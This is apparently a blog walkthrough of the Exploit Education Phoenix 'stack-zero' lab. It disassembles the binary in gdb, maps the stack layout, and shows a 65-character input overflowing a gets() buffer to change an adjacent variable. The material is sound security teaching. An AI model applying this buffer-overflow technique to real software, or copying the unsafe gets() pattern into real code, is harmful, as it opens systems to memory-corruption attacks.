If you’re learning and writing binary exploits, I would strongly recommend you to take Architecture 1001: x86-64 Assembly course by Xeno Kovah. They cover a wide variety of learning assembly instructions which will be really helpful to understand the exploits.

If you haven’t done setting-up your lab, feel free to check out my previous article on Exploit.education lab setup

Quick Overview

Stack Zero exercise is based on stackoverflow memory corruption issue where you’ll have to smash the stack to modify other variables in the stack to achieve code execution, execution flow redirection or behaviour in the program. Technically, gets function is unsafe that doesn’t have bounds check basically, it accepts memory address to write but doesn’t care about overwriting other declared variables in stack. If you take closer look at the struct which isn’t dynamically being allocated by malloc function, so probably the struct which contains both char buffer[64] and volatile int changeme stays in main stackframe.

Disassemble

Disassembling the code will get you overall idea behind the stack-zero code, One can use gdb ./stack-zero to start debugging it in runtime.

  1. gdb ./stack-zero
  2. Type disassemble to get the disassembled code (assembly)
   0x00000000004005dd <+0>:     push   rbp
   0x00000000004005de <+1>:     mov    rbp,rsp
   0x00000000004005e1 <+4>:     sub    rsp,0x60
   0x00000000004005e5 <+8>:     mov    DWORD PTR [rbp-0x54],edi
   0x00000000004005e8 <+11>:    mov    QWORD PTR [rbp-0x60],rsi
   0x00000000004005ec <+15>:    mov    edi,0x400680
   0x00000000004005f1 <+20>:    call   0x400440 <puts@plt>
   0x00000000004005f6 <+25>:    mov    DWORD PTR [rbp-0x10],0x0
   0x00000000004005fd <+32>:    lea    rax,[rbp-0x50]
   0x0000000000400601 <+36>:    mov    rdi,rax
   0x0000000000400604 <+39>:    call   0x400430 <gets@plt>
   0x0000000000400609 <+44>:    mov    eax,DWORD PTR [rbp-0x10]
   0x000000000040060c <+47>:    test   eax,eax
   0x000000000040060e <+49>:    je     0x40061c <main+63>
   0x0000000000400610 <+51>:    mov    edi,0x4006d0
   0x0000000000400615 <+56>:    call   0x400440 <puts@plt>
   0x000000000040061a <+61>:    jmp    0x400626 <main+73>
   0x000000000040061c <+63>:    mov    edi,0x400708
   0x0000000000400621 <+68>:    call   0x400440 <puts@plt>
   0x0000000000400626 <+73>:    mov    edi,0x0
   0x000000000040062b <+78>:    call   0x400450 <exit@plt>

Before taking a look at the code, if you disassembled the stack-zero using gdb to view the assembly instruction, you may notice the puts, exit and gets function calls with parameters. So basically when you hit r in gdb without breakpoint,

  1. Greet with Welcome to phoenix/stack-zero, brought to you by https://exploit.education message via Puts (aka printf) method
  2. Set locals.changeme variable to zero or 0x00 in hex
  3. Get locals.buffer variable filled by gets function
  4. Verify locals.changeme is not zero or 0x00 in hex
  5. Use puts(aka Printf) method to greet the user again
  6. Finally exits the program with exit(0) system call instead of returning to the main function invoker

Memory Allocation

As you see that the locals struct isn’t dynamically allocated, they are allocated in the stackframe same as main function gets executes. The main function starts executing my pushing $rbp to stack at 0x7fffffffe660 and then rsp to $rbp-0x60 as expected the stack grows from top (higher memory address) to bottom (lower memory address).

Stack Memory Layout from $rbp till $rsp

You can see that locals.buffer (64 bytes) gets written at $rbp-0x50 i.e 0x7fffffffe610 and locals.changeme integer variable (4 bytes) at rbp-0x10 i.e 0x7fffffffe650. Now that you got the overall idea of the memory layout of the stack, you can now go ahead blow up the stack to overwrite locals.changeme. If you playaround with these memory layout behaviour, you can note that the char buffer variable writes from $rbp-0x50 towards $rbp-0x10.

Exploit

As previously discussed locals.buffer and locals.changeme are allocated nearby each other in stack. So, if your input of 64 characters (example: 64 * ‘A’) wouldn’t overrite the locals.changeme variable, but if you do the same with 65 characters, you have succesfully overwritten locals.changeme variable succesfully, thus completing the challenge.

Stack Memory Layout


<FIRST TRY - 64 'A' character>

(gdb) r
Starting program: /opt/phoenix/amd64/stack-zero
Welcome to phoenix/stack-zero, brought to you by https://exploit.education
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Uh oh, 'changeme' has not yet been changed. Would you like to try again?
[Inferior 1 (process 426) exited normally]

<SECOND TRY - 65 'A' character>

(gdb) r
Starting program: /opt/phoenix/amd64/stack-zero
Welcome to phoenix/stack-zero, brought to you by https://exploit.education
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Well done, the 'changeme' variable has been changed!
[Inferior 1 (process 430) exited normally]

There you go! 🎉 You’ve officially pwned the binary and possibly you could control the program flow and may eventually perform remote code execution in the system. 🪲

buffer-overflow-meme

Source and Reference:

  1. Stack Zero Exercise: Exploit Education
  2. Architecture 1001: x86-64 Assembly

Closing Note:

I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.


Author Profile Photo - Shivasurya

Shivasurya

Software Engineer, Security @ Dropbox